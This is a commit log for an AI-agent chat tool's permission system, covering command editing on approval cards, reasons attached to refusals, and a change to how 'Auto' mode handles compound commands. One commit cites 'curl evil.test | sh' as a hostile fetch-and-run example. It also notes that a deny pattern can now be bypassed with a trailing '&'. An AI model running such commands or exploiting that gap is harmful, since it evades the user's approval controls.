46066150d979f44bf5a7d4d5b941ac6f2da551bb
3 Commits
| Author | SHA1 | Message | Date | |
|---|---|---|---|---|
|
|
9f5ff72e32 |
Refusing can say why, and the why is an instruction
"Don't" told the model it was refused and nothing else, so it did the one sensible thing left and asked what you would rather -- a whole round spent on something you knew when you pressed the button. "Give reason" opens a box beside it, and what you write goes back with the refusal. The reason changes what the model is *told*, not only what it reads, and that is the whole of the feature. `_not_allowed` branches: given nothing to go on, "say what you were going to do and ask what they would prefer" is right; given a reason it is exactly wrong, because the answer is already on the screen above and the model spends a round asking for it again. So it is pointed at the reason and told to carry on from it. The "do not look for a way round" half is kept either way -- that half is about the refusal and holds regardless. A card-level field rather than `text.<key>`. One card covers everything in the round for the reason the primitive exists, so one reason answers the round; and on an approval card `text.<key>` already means a corrected command, which is a different thing arriving in the same shape. Read only on a refusal, so a reason typed and then abandoned by pressing Allow cannot travel with a permission. Bounded where the Reply is built, so nothing downstream thinks about length, and put on the tool event as well as in the result -- a transcript saying a step was refused without saying why is one you had to have been watching to understand. It is also the one thing in a tool result that is genuinely not untrusted: the reader's own words, stated as theirs, needing no fence. Both halves of the control are in the DOM with one hidden and the textarea disabled while hidden, which is the rule the edit box beside it already states: a field created by a click submits nothing when the click handler fails, and an empty `reason` arriving would have to be told from one somebody cleared. The version bump is not incidental. chat.css changed and the service worker caches it under a name keyed on the version, so without it the first reload serves the old stylesheet. Co-Authored-By: Claude Opus 5 (1M context) <noreply@anthropic.com> |
||
|
|
e9546dcd1f |
A reply you can read while it is still being written
Seven things, and the thread running through them is that the machinery was right and what a person saw of it was not. Auto asked about every compound command. `policy.subject` refuses to let any pattern match a line carrying a shell metacharacter -- correct, and the whole reason `git *` cannot also mean `git status; curl evil.test | sh` -- and a rule on top of that asked whenever a deny list existed at all. The shipped deny list is non-empty, so `cd build && make` and `pytest | tail` both stopped for approval in the one mode whose purpose is not stopping. Nobody read that as a security control; they read it as Auto not working. It is gone, and what it costs is written down beside it and under the admin field: a deny pattern can be walked past with a trailing `&`. Matching each segment would restore both. A forty-round agent reply rendered as three zones -- all the thinking, then every tool block, then all the prose -- which is fine at two rounds and unreadable at forty. `Message.steps_json` is a table of contents over the three stores rather than a fourth copy of any of them, so `build_messages`, compaction and titling still see one string. No marks means the old layout, which is what every existing row reads back, with no version flag and no branch in the template. Nothing could be expanded while a reply streamed, and that was two faults. The tool list was replaced wholesale twelve times a second, so an opened block shut itself within 80ms; the ids are stable now and steps.js puts them back, across the final swap as well. And the thread snapped to the bottom on every frame, so a block that did open was scrolled off -- opening one now stops it following until you scroll back down yourself. Both driven under a DOM stub before committing, per the note in CLAUDE.md. The metrics were never wrong, which is why this looked like arithmetic and was not. One chip is what the reply cost and the other is what the conversation occupies; on a multi-round reply those differ by a lot and neither said which it was. What was broken is that they stood still -- usage arrives once a round, and `reported or estimated` stops consulting the estimate the moment the first chunk lands -- and that the `~` marking an estimate vanished at exactly the point everything became one. Interpolated between counts now, never over them. Background jobs had no surface at all. A chip counting what is still running and a panel with each job's command, state, log tail and a Stop button; the fifth exception to "the modes govern the model, not the interface", for the reason the other four are. file_edit had two faults worth more than the error text. A file it could not read was reported to the model as an empty one, and a file too large to read whole was patched and written back by a call that replaces -- deleting everything past the ceiling, silently, and reporting success with a byte count. Both refused now. A refused hunk also prints the file around where it landed, which is most of the retry loop these models get into. And a model can talk itself to a standstill: a round with no tool calls is a model saying it has finished, so pages of "Ready? GO! ... Wait ... Actually ..." ended the reply having done nothing. `core.commit` is the prompt half and a second nudge signal is the other, narrowed to a long reply that touched nothing so that finishing is never argued with. Also: the scope menu is called Toggle and no longer offers to type an `@` for you, and "Always allow this" says when it has stored nothing rather than appearing to work. Co-Authored-By: Claude Opus 5 (1M context) <noreply@anthropic.com> |
||
|
|
ab2e74974b |
Correcting a command before allowing it
An approval card was Allow, Always, or Don't. A model proposing the right command with one flag wrong therefore cost a whole round trip to explain in prose. There is an Edit button on it now. Where the edit lands is the whole of the feature, and it is one line. `arguments` is the list `_run_calls` hands to `run_tool` as `parsed=`, and `run_tool` never re-parses -- so writing into it inside `_authorise` is the only mutation the runner can see. Editing the Item would do nothing: it is frozen and display-only. Two things had to move with it. The raw `call["arguments"]` string is rewritten beside the parsed dict, and the assistant turn is now built *after* `_authorise` rather than before it -- the old order told the model it ran what it proposed while something else ran, and every later round would have reasoned from a transcript that was quietly false. And `_remember_always` reads the edit, or "always allow this" would store a standing permission for a command nobody approved; it still derives the pattern itself through `policy.subject`, which yields nothing for a composed command line. Nothing is re-checked against the mode or the lists, and that is not a shortcut. The deny list resolves to ASK rather than to a refusal -- it means "always ask about this" -- so a person who has typed the command and pressed Allow is exactly the asking it was demanding, and re-asking would put the same card up with no way past it. It is the line the terminal panel already draws. The box is only offered where the detail *is* an argument and can be put back: a tool with no entry in `tool_labels.DETAIL_KEYS` gets a `k=repr(v)` summary, and a box there would silently change nothing. Both halves are always in the DOM with one hidden, rather than the field being created on click -- a field that does not exist until a handler runs is a field that submits nothing if the handler fails, and this one decides what runs on somebody's machine. The transcript says "edited by you". Attributing somebody's own typing to a model is the same misattribution as the other way round. Co-Authored-By: Claude Opus 5 (1M context) <noreply@anthropic.com> |